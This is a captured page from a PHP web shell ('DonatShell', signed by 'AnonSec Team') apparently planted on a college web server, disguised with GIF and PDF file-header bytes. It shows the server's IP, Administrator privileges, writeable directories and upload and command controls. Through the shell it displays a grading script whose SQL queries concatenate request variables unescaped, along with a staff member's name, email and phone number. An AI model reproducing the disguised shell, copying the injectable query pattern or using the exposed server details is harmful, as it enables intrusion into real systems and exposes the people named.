GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/StudentProfile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/StudentProfile/StudentProfile_GradePerform.phpinc
<?
// StudentProfile/StudentProfile_GradePerform.phpinc

if ($TRACK != '') $_SESSION['TRACK'] .= "<li><b>".basename(__FILE__)."</b> (".__FILE__.")<ol>\n";
if (dc()) echo "<b>",basename(__FILE__),"</b>: ",__FILE__."<br>\n";
#setDebugOn();

// Verify the userId.
if (!isset($f_userId) || $f_userId == '') {
?>
	The userId was not set.
<?
	include('common/pageFooter.phpinc');
	exit;
}

// Update the studentprofile grade.
$f_studentprofileGradedOn = currentDateTime();
$query = "
 UPDATE studentprofile 
    SET studentprofileSubmitted = 1,
				studentprofileGraded = 1,
        studentprofileGradedOn = '".$f_studentprofileGradedOn."',
        studentprofileGradedBy = ".$_SESSION['trueuserId'].",
        studentprofileGrade = ".$f_studentprofileGrade.",
        studentprofileComment = '".$f_studentprofileComment."',
        studentprofileInternalComment = '".$f_studentprofileInternalComment."'
  WHERE studentprofileId = ".$f_studentprofileId."
";
#echo "<b>\$query=</b>",$query,": </b>",basename(__FILE__),"</b>:",__LINE__," (",__FILE__,")<br>\n";
#include('common/pageFooter.phpinc');
$studentprofileUpdate  = query_do($query);

// Get class and course info that the Student Profile impacts.
$query = "
SELECT
	course.courseNumber,
	class.classId,
	class.studentProfilePoints
FROM course
LEFT JOIN class ON course.courseId = class.courseId
LEFT JOIN classstudent ON class.classId = classstudent.classId
LEFT JOIN user ON classstudent.userStudentId = user.userStudentId
WHERE user.userId = ".$f_userId."
AND (class.YRTR = '".$_SESSION['YRTR']['User']."' OR class.YRTR IS NULL)
AND class.studentProfilePoints > 0
ORDER BY course.courseNumber
";
$studentprofileClassResult = query_do($query);
$studentprofileClassCount = $_SESSION['qry']['count'];
if ($studentprofileClassCount) {
	$studentprofileClassList = query_to_list($studentprofileClassResult,'courseNumber');
} else {
	$studentprofileClassList = '';
} // if ($studentprofileClassCount)
$studentprofileClassArray = listToArray($studentprofileClassList);
// Remove any other Student Profiles for this student.
$query = "
DELETE FROM studentprofile
 WHERE userId = ".$f_userId."
   AND studentprofileId <> ".$f_studentprofileId."
";
#echo "<b>\$query=</b>",$query,": </b>",basename(__FILE__),"</b>:",__LINE__," (",__FILE__,")<br>\n";
$studentprofileDelete = query_do($query);

// Get student info.
$displayStudentInformation = false;
include('common/studentInfo.phpinc');
// Replace codes in the f_studentprofileComment.
$f_studentprofileCommentText = CRtoBR(GradeCommentCodeReplace('Student Profile',$studentprofileClassArray[0],100,$f_studentprofileGrade,$f_studentprofileComment));
// Start $mail.
include('email/class.phpmailer.php');
// Set $mail.
$mail->From = "jim.martinson@ridgewater.edu";
$mail->FromName = "Jim Martinson";
if ($emailGrade && $_SERVER['HTTP_HOST'] == 'cst.ridgewater.edu') {
	$mail->AddAddress($f_userEmail,$f_username);
	$mailSubject = $studentprofileClassList." Student Profile graded on ".date("Y.m.d")." at ".date("g:ia").".";
} else {
	#$mail->AddAddress("jim@jimmartinson.com"); // This address is for testing only.
	#$mail->AddAddress("jimmart@hutchtel.net"); // This address is for testing only.
	$mailSubject = $f_username." ".$studentprofileClassList." Student Profile test from ".$_SERVER['HTTP_HOST']." graded on ".date("Y.m.d")." at ".date("g:ia").".";
}
$mail->AddCC("jim.martinson@ridgewater.edu", "Jim Martinson");
$mail->Subject = $mailSubject;
$mailBody = '
'.$f_userNickName.',<br>
<br>
The grade for your Student Profile is: <b>'.$f_studentprofileGradeValue.'%</b>.<br>
';
if ( $studentprofileClassList ) {
	$mailBody .= '
Your points for '.listAnd($studentprofileClassList).' are:
<style type="text/css">
td.center {
	text-align:center;
}
</style><table>
<tr><th>Class<br>Number</th><th>Class<br>Points</th><th>Possible<br>Points</th><th>Class<br>%</th><th>Class<br>Grade</th></tr>
';
	if ($studentprofileClassCount) {
		mysqli_data_seek($studentprofileClassResult, 0);
		while ($studentprofileClassRow = mysqli_fetch_assoc($studentprofileClassResult)) {
			$courseNumber = $studentprofileClassRow['courseNumber'];
			$studentProfilePoints = $studentprofileClassRow['studentProfilePoints'];
			if ($studentProfilePoints) {
				$gradePoints = intval($studentProfilePoints*($f_studentprofileGradeValue/100));
				$effectivePercentage = intval($gradePoints/$studentProfilePoints*1000)/10;
			} else {
				$gradePoints = 0;
				$effectivePercentage = 0;
			}
			$mailBody .= '
	<tr><td class="center">'.$courseNumber.'</td><th>'.$gradePoints.'</th><td class="center">'.$studentProfilePoints.'</td><td class="center">'.$effectivePercentage.'</td><th>'.gradeLetterAC($effectivePercentage).'</th></tr>
		';
		}
	}
	$mailBody .= '
</table>
<br>';
}
$mailBody .= '
'.$f_studentprofileCommentText.'<br>
<br>
-- Jim<br>
<br>
Jim Martinson<br>
Ridgewater College http://ridgewater.edu<br>
jim.martinson@ridgewater.edu<br>
320-234-8546<br>
';
$mail->Body = $mailBody;
// Send $mail.
include('email/sendEmail.phpinc');

$_SESSION['Message'] = 'Student Profile graded for '.userName($f_userId).'.';

debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team